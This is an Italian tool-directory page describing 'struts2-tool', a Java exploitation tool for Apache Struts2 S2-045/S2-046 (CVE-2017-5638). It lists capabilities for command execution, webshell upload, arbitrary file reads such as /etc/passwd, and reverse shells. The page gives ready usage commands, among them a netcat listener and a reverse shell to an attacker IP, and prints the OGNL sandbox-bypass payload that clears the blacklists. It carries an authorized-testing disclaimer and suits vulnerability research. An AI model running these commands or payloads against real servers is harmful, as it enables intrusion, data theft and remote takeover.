Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
struts2-tool — Struts2 S2-045/S2-046 CVE-2017-5638 strumento di rilevamento e sfruttamento | Kitploit
Strumenti/GitHubGitHub/gu-007/struts2-tool
Scanner di VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingCommand and ControlStrumento di Accesso RemotoSviluppo Payload
GitHubgu-007/struts2-tool

struts2-tool

Struts2 S2-045/S2-046 CVE-2017-5638 strumento di rilevamento e sfruttamento

Vedi Repository
1351 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Strumento di rilevamento e sfruttamento delle vulnerabilità Struts2 (s2tool)

Uno strumento di rilevamento e sfruttamento delle vulnerabilità Struts2 S2-045 / S2-046 (CVE-2017-5638) implementato puramente in Java. Il modulo di rilevamento copre le due vulnerabilità S2-045 / S2-046, mentre il modulo di sfruttamento offre capacità come esecuzione di comandi, gestione file, raccolta informazioni, shell interattiva, reverse shell, upload di webshell e altro.

Disclaimer: questo strumento è destinato esclusivamente a test di sicurezza autorizzati, ricerca sulle vulnerabilità e scopi didattici. È severamente vietato l'uso per scopi illegali non autorizzati; l'utente si assume ogni responsabilità legale.


Panoramica delle funzionalità

ModuloSottocomandoDescrizione
Rilevamento vulnerabilitàscanRileva S2-045 / S2-046 (verifica matematica + marcatura fingerprint UUID)
Scansione batchbatchRileva più target in batch, genera report riepilogativi e JSON
Esecuzione comandiexecEsecuzione di comandi di sistema arbitrari + output (adattamento automatico Win/Linux)
Shell interattivashellInterazione continua, persistenza directory cd, comandi integrati pwd/webroot/os
Upload fileuploadScrittura diretta OGNL (file piccoli) / scrittura segmentata tramite comandi (file grandi)
Download filedownloadDownload con codifica Base64 (sicuro per binari)
Directory root WebgetpathOttiene il percorso di distribuzione fisica dell'applicazione Web
Informazioni di sistemasysinfoInformazioni su OS / utente / kernel / directory di lavoro
Reverse shellrevshellReverse shell bash / PowerShell con un comando
Upload WebshellwebshellGenera e carica una JSP Webshell (stile ?CMD= in chiaro)
Esportazione reportscan -rReport JSON / HTML

La funzione di download può leggere file arbitrari dal server (ad es. /etc/shadow); utilizzare solo in test autorizzati.


Avvio rapido

Requisiti di ambiente

  • JDK 8 o superiore
  • Maven 3.x (necessario solo per la compilazione; l'esecuzione dello strumento non richiede Maven)

Compilazione (Windows)

:: Eseguire nella directory del progetto
.\build.bat

In PowerShell è necessario il prefisso .\; in cmd si può eseguire direttamente build.bat. build.bat si occupa solo della compilazione e non effettua alcuna richiesta di rete o scansione. Al termine della compilazione la finestra rimane aperta e si entra in una sessione cmd (si possono eseguire direttamente i comandi dello strumento; digitare exit per chiudere). Se il proprio ambiente non può scrivere nel repository Maven predefinito, impostare prima la variabile d'ambiente M2_REPO su una directory scrivibile.

Output: target\s2tool.jar (fat-jar).

Per Linux/Mac fare riferimento a build.sh

Esempi di utilizzo

# 1. Rilevamento vulnerabilità
java -jar s2tool.jar scan http://target/action

# 2. Rilevamento + esportazione report JSON/HTML
java -jar s2tool.jar scan http://target/action -r both

# 3. Esecuzione comandi
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"

# 4. Shell interattiva
java -jar s2tool.jar shell http://target/action

# 5. Ottenere directory root Web / informazioni di sistema
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action

# 6. Upload / download file
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt

# 7. Upload Webshell con un comando (stile ?CMD= in chiaro)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# Accesso: http://target/shell.jsp?CMD=whoami

# 8. Reverse shell (prima mettere in ascolto la macchina attaccante: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444

# 9. Scansione batch
java -jar s2tool.jar batch targets.txt -r json

Formato del file target per scansione batch

# Le righe di commento iniziano con # (ignorate automaticamente)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action

Principi tecnici

S2-045 / S2-046 (CVE-2017-5638)

Intervallo di versioni dell'annuncio ufficiale (entrambe le vulnerabilità si basano sugli annunci ufficiali Apache, per consentire all'utente di valutare se il target è interessato):

VulnerabilitàCVEVersioni interessate (versioni vulnerabili)Versioni corrette (versioni con patch)
S2-045CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 o 2.5.10.1 e successive
S2-046CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 o 2.5.10.1 e successive

Questo strumento non si basa sul giudizio della versione, ma determina direttamente l'esistenza della vulnerabilità tramite i risultati dei payload, poiché l'identificazione della versione non è affidabile (molti siti nascondono il numero di versione). La tabella sopra è solo di riferimento per la valutazione manuale, e non influisce sulla logica di rilevamento dello strumento.

Per S2-046, lo strumento supporta sia il percorso di rilevamento tramite iniezione di byte nulli nel filename sia quello tramite Content-Type con la stessa causa principale.

Principio della vulnerabilità:

  • Stesso punto di attivazione: quando il parser Jakarta Multipart genera un'eccezione durante l'analisi, il contenuto dell'intestazione controllabile dall'utente (S2-045: Content-Type; S2-046: filename di Content-Disposition) viene concatenato nel messaggio di eccezione, che viene poi valutato da OGNL tramite il processo di elaborazione del testo internazionalizzato di Struts2 (TextParseUtil.translateVariables)
  • Metodi di sfruttamento diversi: S2-045 viene attivato tramite un Content-Type non valido; S2-046 tramite byte nulli nel filename (richiede commons-fileupload 1.3.3+) o Content-Length eccessivo (richiede configurazione jakarta-stream)

Bypass della sandbox

(#nike='multipart/form-data')                       // Maschera il Content-Type, supera il controllo contains
(#[email protected]@DEFAULT_MEMBER_ACCESS)       // Ottiene il MemberAccess con i privilegi più elevati
(#_memberAccess?(#_memberAccess=#dm):               // Versioni basse: sostituzione diretta
  ((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
   (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
   (#ognlUtil.getExcludedPackageNames().clear())     // Svuota la blacklist dei nomi pacchetto
   (#ognlUtil.getExcludedClasses().clear())          // Svuota la blacklist delle classi
   (#context.setMemberAccess(#dm))))                 // Versioni alte: sostituzione dopo lo svuotamento della blacklist

Testato: su Struts2 2.3.30 la versione semplificata (solo setMemberAccess) non riesce a bypassare la sandbox, è necessario utilizzare la versione completa (con il percorso di svuotamento della blacklist tramite OgnlUtil).

Strategia di rilevamento

Scarica lo strumento